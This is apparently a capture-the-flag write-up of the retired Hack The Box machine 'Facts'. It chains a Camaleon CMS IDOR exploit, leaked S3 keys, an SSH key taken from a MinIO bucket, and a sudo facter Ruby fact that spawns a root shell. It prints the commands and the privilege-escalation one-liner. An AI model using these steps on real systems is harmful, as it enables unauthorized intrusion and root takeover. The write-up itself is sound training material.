root@thehacksparrow:~/writeups$ SYSTEM ONLINE
root@sparrow:~/writeups$ cat facts.md
// writeups

Facts

31 Jan 2026 · 9 min read
Facts - maquina de Hack The Box

Executive summary — Facts is a Linux machine that isn't solved with a single exploit, but by chaining misconfigurations: a vulnerable web app leaks AWS credentials, those credentials grant access to an internal S3 store (a MinIO instance) holding a private SSH key, and once inside, a legitimate binary (facter) runnable as root enables the final escalation. A very realistic Web → Cloud → SSH → Root path.

PlatformHack The Box
Operating systemLinux
DifficultyEasy
StatusRetired
Target IP10.129.15.164

Attack map

[80/HTTP]  Camaleon CMS 2.9.0
   │  CVE-2025-2304 (IDOR) → temporary admin → credential dump
   ▼
[AWS]  S3 keys leaked in the backend
   │  point the endpoint at  facts.htb:54321
   ▼
[S3/MinIO]  bucket "internal" → .ssh/id_ed25519  (+ authorized_keys)
   │  download the private key · the user is "trivia"
   ▼
[SSH]  trivia@facts.htb   (passphrase: dragonballz)
   │  sudo -l  →  (ALL) NOPASSWD: /usr/bin/facter
   ▼
[ROOT]  custom Ruby fact → exec("/bin/bash -p")

1. Reconnaissance

We start by mapping the attack surface. We run an nmap scan with default scripts and version detection:

nmap -Pn -n -sC -sV -T4 10.129.15.164

Why these flags:

  • -Pn → skip host discovery ping; assume the host is up (HTB usually blocks ICMP).
  • -n → no DNS resolution, faster scan.
  • -sC → run the default NSE scripts (banners, HTTP titles, etc.).
  • -sV → identify each service's version.
  • -T4 → aggressive timing template (fast but not reckless).

Relevant result: port 80/tcp (HTTP) is open.

Analysis: with a single web port exposed, the entry vector is almost certainly the web application. All initial enumeration focuses there.

2. Web enumeration

The target serves content on the virtual host facts.htb. Since it's an internal name that doesn't resolve via public DNS, we map it manually in /etc/hosts:

echo "10.129.15.164 facts.htb" | sudo tee -a /etc/hosts

Why: many servers serve different content based on the request's Host: header (virtual hosting). Without this line we'd see a different page —or an error—. With it, http://facts.htb resolves to the target.

We browse to http://facts.htb and find an app with registration and login. We create a test account (test / test) and, once inside, notice two key things:

  • The application is a Camaleon CMS (built on Ruby on Rails), version 2.9.0.
  • Our user has the client role (limited privileges).

Why the version matters: identifying the exact product + version is what lets us look up known public vulnerabilities (CVEs) instead of working blind.

3. Exploitation — CVE-2025-2304

Searching for that specific version leads us to CVE-2025-2304, an IDOR (Insecure Direct Object Reference) vulnerability that lets a low-privilege authenticated user temporarily escalate and extract internal credentials from the application.

We clone the public proof of concept for the CVE and run it, authenticating with our test user:

cd CVE-2025-2304
python3 exploit.py -u http://facts.htb -U test -P test -e

What the exploit does under the hood:

  1. Logs in with the credentials we pass (test:test).
  2. Abuses the IDOR to temporarily escalate to administrator.
  3. With that context, dumps internal credentials from the backend.

Result: we obtain AWS S3 credentials (redacted):

s3 access key: AKIA...
s3 secret key: ******
s3 endpoint:   http://localhost:54321

The lesson here: the serious flaw isn't just the escalation, but that the application stores infrastructure (AWS) credentials reachable from the application layer. A classic cloud misconfiguration.

4. Cloud enumeration (S3 / MinIO)

We configure the AWS client with the obtained keys (Access Key, Secret Key, region us-east-1, output json):

aws configure

The detail that makes it work: the leaked endpoint is http://localhost:54321, but localhost refers to the victim machine, not ours. Since the service (an S3-compatible MinIO instance) listens on that port of facts.htb, we point there:

http://localhost:54321   ->   http://facts.htb:54321

We list the available buckets:

aws --endpoint-url http://facts.htb:54321 s3 ls
internal
randomfacts

The internal bucket smells of sensitive info. We enumerate it:

aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal/.ssh/

Critical discovery — inside .ssh/:

id_ed25519
authorized_keys

A private SSH key exposed in a bucket. We download it and set correct permissions:

aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 .
chmod 600 id_ed25519

Why chmod 600: the SSH client ignores (for security) any private key readable by other users. 600 = only the owner can read/write.

5. SSH access

The authorized_keys file next to the key carries the owner user in its comment (user@host), telling us which account to use the key with: trivia.

ssh -i id_ed25519 trivia@facts.htb

The key is protected with a passphrase (dragonballz), and we get in:

trivia@facts:~$

Chain so far: AWS credential leak → access to internal storage → SSH key theft → shell as a system user.

6. User flag

The flag isn't in trivia's $HOME. We search across all of /home:

find /home -name user.txt 2>/dev/null

2>/dev/null discards «permission denied» errors so the output stays clean.

The flag lives in another user's home and is readable from our account (another permissions misconfiguration). We read it at the path find returns.

7. Privilege escalation

First reflex after landing a user: check what we can run with sudo:

sudo -l
(ALL) NOPASSWD: /usr/bin/facter

Translation: we can run facter as root and without a password. That's the way in.

Why facter is exploitable: it's Puppet's tool for gathering system «facts», written in Ruby. It can load custom facts from a directory, and those facts are arbitrary Ruby code. If facter runs as root, our Ruby code runs as root → command execution as root.

8. Exploiting Facter

We create a custom Ruby fact that spawns a privileged shell:

echo 'Facter.add(:pwn) do setcode do exec("/bin/bash -p") end end' > /tmp/pwn.rb

/bin/bash -p preserves privileges (doesn't drop root's effective UID).

And we tell facter to load our custom facts directory:

sudo facter --custom-dir=/tmp pwn

Result:

root@facts:~#

9. Root flag

cat /root/root.txt

Machine fully compromised. 🏴

Vulnerability summary

PhaseComponentVulnerabilityImpact
WebCamaleon CMS 2.9.0CVE-2025-2304 (IDOR)Temporary admin escalation + credential dump
CloudAWS / MinIOInfrastructure credentials reachable from the app; exposed internal bucketAccess to internal S3 storage
AccessSSHPrivate key stored in an accessible bucketShell as user trivia
PrivEscsudo / facterNOPASSWD on a binary that runs arbitrary RubyExecution as root

Lessons learned

  • Cloud misconfiguration: never store infrastructure credentials reachable from the application layer, and never expose internal buckets.
  • Chaining: a «minor» flaw (the client role) becomes full compromise when chained. Security is only as strong as its weakest link.
  • Internal endpoints: localhost in a leaked credential is a clue: the service exists, you just need to point at the right host.
  • SSH key reuse: an accessible private key = total access. Protect and rotate them.
  • Abusing legitimate binaries: facter isn't malware, but running Ruby as root via sudo turns it into an escalation path. Always audit your sudoers.